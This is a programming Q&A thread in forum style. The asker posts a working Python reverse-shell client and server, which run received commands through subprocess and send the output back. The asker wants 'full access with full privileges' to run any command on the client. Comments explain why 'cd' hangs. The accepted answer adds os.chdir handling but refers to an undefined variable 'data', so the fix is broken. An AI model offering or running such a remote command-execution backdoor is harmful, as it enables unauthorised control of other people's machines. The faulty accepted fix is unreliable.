Reverse Shell Command with Python command gets stuck when trying to change directory

Question

I am trying to get full access with full privileges with a reverse shell with python.

The connections get established, and I can do a command like "ipconfig" or "dir" (although sometimes I need to ask twice before getting a result for "dir" command.

However, when I try to change the directory with a "cd.." command, it gets stuck and does not return anything.

Here is my client file:

import socket
import subprocess
SERVER_HOST = "192.168.1.81"
SERVER_PORT = 5003
s = socket.socket()
s.connect((SERVER_HOST, SERVER_PORT))
while True:
    command = s.recv(1024).decode() 
    if command.lower() == "exit":
        break
    else:
        output = subprocess.getoutput(command)
        s.send(output.encode())
s.close()

Here is my server file:

import socket
SERVER_HOST = "192.168.1.81"
SERVER_PORT = 5003
s = socket.socket()
s.bind((SERVER_HOST, SERVER_PORT))
s.listen(5)
print(f"Listening as {SERVER_HOST}:{SERVER_PORT} ...")
client_socket, client_address = s.accept()
print(f"{client_address[0]}:{client_address[1]} Connected!")
while True:
    command = input("Enter the command you wanna execute:")
    client_socket.send(command.encode())
    if command.lower() == "exit":
        break
    else:
        results = client_socket.recv(1024).decode()
        print(results)
client_socket.close()
s.close()

Here is what I get and where it gets stuck:

Listening as 192.168.1.81:5003 ...
192.168.1.81:52553 Connected!
 Enter the command you wanna execute:dir
 Volume in drive C is Windows
 Volume Serial Number is 7E4C-AD89

 Directory of C:\Users\CobraCommander\PycharmProjects\Nuke

10/11/2020  08:45 AM    <DIR>          .
10/11/2020  08:45 AM    <DIR>          ..
10/11/2020  08:44 AM    <DIR>          .idea
10/11/2020  12:40 AM                 0 Client.py
10/11/2020  08:45 AM               569 my_client.py
10/11/2020  12:40 AM               885 my_server.py
               3 File(s)          1,454 bytes
               3 Dir(s)  46,585,339,904 bytes free
Enter the command you wanna execute:cd..

# It gets stuck here, it does not return anything.

How do I get full access to the client and do any possible command?

No process can change the working directory of another process. That's why you couldn't execute cd. You can refer to https://stackoverflow.com/questions/21406887/subprocess-changing-directory for more clarification — Pranjal Doshi, Oct 11 '20 at 05:01
the reason why it stuck is that running `cd` does return nothing, and after running `cd` on client side, it tries to send a message with length zero, and the receive part in server side waits forever because nothing is going to come. — Shoaib Mirzaei, Oct 11 '20 at 05:28

score 0 · Accepted Answer · answered Oct 11 '20 at 06:31

Solved by using "os" library in the client file with the "os.chdir" method like so:

import socket
import subprocess

import os # Import this library

SERVER_HOST = "192.168.1.81"
SERVER_PORT = 5003
s = socket.socket()
s.connect((SERVER_HOST, SERVER_PORT))
while True:
    command = s.recv(1024).decode() 

    if data[:2].decode('utf-8') == 'cd':
        os.chdir(data[3:].decode('utf-8')) # Use the method change directory called "os.chdir"

    if command.lower() == "exit":
        break
    else:
        output = subprocess.getoutput(command)
        s.send(output.encode())
s.close()

Reverse Shell Command with Python command gets stuck when trying to change directory

1 Answers1

Linked